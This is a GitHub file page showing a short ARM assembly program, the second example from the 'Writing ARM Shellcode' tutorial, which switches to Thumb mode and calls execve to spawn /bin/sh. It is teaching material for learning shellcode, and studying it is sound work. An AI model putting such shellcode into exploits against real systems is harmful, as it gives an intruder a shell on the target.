Permalink
Switch branches/tags
Nothing to show
Find file Copy path
9591c55 Jul 19, 2017
1 contributor

Users who have contributed to this file

21 lines (16 sloc) 418 Bytes
/* execve() assembly code from the tutorial 'Writing ARM Shellcode' (https://azeria-labs.com/writing-arm-shellcode/),
second example containing one null-byte */
.section .text
.global _start
_start:
.code 32
add r3, pc, #1
bx r3
.code 16
add r0, pc, #8
eor r1, r1, r1
eor r2, r2, r2
mov r7, #11
svc #1
mov r5, r5
.ascii "/bin/sh\0"